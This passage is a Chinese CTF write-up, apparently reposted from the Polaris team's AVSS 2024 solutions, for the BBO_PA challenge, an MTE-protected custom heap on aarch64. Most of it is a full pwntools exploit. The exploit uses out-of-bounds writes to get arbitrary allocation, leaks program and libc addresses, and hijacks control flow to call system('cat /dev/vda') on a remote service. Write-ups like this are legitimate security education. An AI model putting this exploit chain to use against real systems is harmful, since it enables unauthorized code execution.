: pr()

BBO_PA

该程序是相当于开启了 MTE 保护的自定义堆管理程序。

漏洞点同 BBO_PT ,可以正向和反向任意越界写。通过调试后发现,修改第一个申请堆块的地址 - 0x3f010 + 0x200 地方为特定地址,再将正偏移 0x18 处修改为 0,那么就可以任意分配到特定地址,如果要控制第二个进行任意地址分配,那么修改的偏移就 + 0x20,就可以实现无限任意地址分配。

泄露内存信息后攻击程序上的 hook,并且通过 free 一个 >= 0x80 的堆块来劫持程序执行流。注意这里不能 free 一个小堆块或者打栈,free 小堆块很难找到合适的 gadget 实现 RCE,打栈会触发异常,导致溢出到返回地址的 gadget 被打上标签。

exp:

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport ttydef debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='aarch64', log_level='debug')#p = process('./vuln')remote_ip = '52.77.241.34'remote_port = 10089import stringimport itertoolsimport refrom pwn import *from hashlib import sha256while 1:  p = remote(remote_ip, remote_port)  #p = remote('127.0.0.1', 10088)  rev = p.recvuntil(b' == ').decode()  pattern = r'xxxxx+([a-zA-Z0-9]+)'  rev = re.search(pattern, rev).group(1)  target_digest = p.recv(64).decode()  characters = string.ascii_letters + string.digits  def generate_combinations(length):    if length == 0:      yield ''    else:      for char in characters:        for suffix in generate_combinations(length - 1):          yield char + suffix  result = ''  all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]  top_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w']  for top in top_list:    print('top -> ' + top)    for comb in all_combinations:      proof = top + comb + rev      digest = sha256(proof.encode("utf8")).hexdigest()      if target_digest == digest:        result = top + comb        break    if result:      break  if result:    print('result -> ' + result)    p.sendlineafter(b'xxxxx:', result)    break  else:    print('try again')     p.close()libc = ELF('lib/libc.so.6')def add(size, data):  sla(b'choice: ', b'1')  sla(b'size: ', str(size))  if len(data) < size:    data += b'n'  sa(b'content: ', data)def edit(idx, offset, value):  sla(b'choice: ', b'2')  sla(b'index: ', str(idx))  sla(b'Offset: ', str(offset))  sla(b'content: ', str(value))def free(idx):  sla(b'choice: ', b'3')  sla(b'index: ', str(idx))#p = process(['./run.sh', 'rootfs.img'])env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}cmd1 = ['qemu-aarch64', '-L', './', './pwn']cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']#p = process(cmd1)mode = 1for kk in range(5):  add(0x10, b'a') # index 0  for i  in range(3):    edit(0, -0x10 + i, 0xff)  #edit(0, -1, 0)  addr = 0x0011f0  for i in range(4):    edit(0, -0x3f010 + 0x200 + i, (addr >> i*8) & 0xFF)  edit(0, -0x3f010 + 0x200 + 7, 0)  for i in range(8):    edit(0, -0x3f010 + 0x218 + i, 0)  add(0x7f, b'b'*0xf) #index 1  if mode:    p.recvuntil(b'b'*0xf + b'x0dx0a')    p.recvuntil(b'b'*0xf + b'x0dx0a')    pro_base = u64(p.recvuntil(b'x0dx0a')[:-2].ljust(8, b'x00')) - 0x109d30  else:    p.recvuntil(b'b'*0xf + b'n')    pro_base = u64(p.recvuntil(b'n')[:-1].ljust(8, b'x00')) + 0x5500000000 - 0x109d30  for i  in range(3):    edit(1, -0x10 + i, 0xff)  add(0x20, b'b'*0xf) #index 2  addr = pro_base + 0x102fc8 - 0x18  for i in range(8):    edit(1, 0x20 + i, (addr >> i*8) & 0xFF)  for i in range(8):    edit(1, 0x38 + i, 0)  add(0x20, b'b'*0x7) #index 3  if mode:    p.recvuntil(b'b'*0x7 + b'x0dx0a')    p.recvuntil(b'b'*0x7 + b'x0dx0a')    libc_base = u64(p.recvuntil(b'x0dx0a')[:-2].ljust(8, b'x00')) - 0x1714a0  else:    p.recvuntil(b'b'*0x7 + b'n')    libc_base = u64(p.recvuntil(b'n')[:-1].ljust(8, b'x00')) - 0x1714a0  environ = libc_base + libc.sym['__environ']  stderr = libc_base + libc.sym['_IO_2_1_stderr_']  system, binsh = get_sb()  add(0x300, b'a') #index 4  ptr = pro_base + 0x1027C8 - 0x18  for i in range(8):    edit(1, 0x40 + 0x20 + i, (ptr >> i*8) & 0xFF)  for i in range(8):    edit(1, 0x58 + 0x20 + i, 0)  pl = b'cat /dev/vdax00'.ljust(0x18, b'x00')  pl += p64(ptr)  pl = pl.ljust(0x28) + p64(system)  add(0x300, pl) #index 6  free(4)    lg('pro_base', pro_base)  lg('libc_base', libc_base)  p.recvuntil(b'4rn')  scret = p.recvuntil(b'x00')[:-1]  print('scret ----> ', scret, len(scret))  sla(b'choice: ', b'4')  p.recvuntil(b'Bye.rn')  sla(b'Give me secret:', scret)while 1 : pr()
团队根据赛时的具体需求,制作了导入 /proc/kallsyms 的 IDA Pro 插件,现已开源在 https://github.com/XMCVE/import-kallsyms

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@wuyua师傅

AVSS 2024 Writeup  Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月26日10:04:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AVSS 2024 Writeup Polaris战队https://cn-sec.com/archives/2690033.html

发表评论

匿名网友 填写信息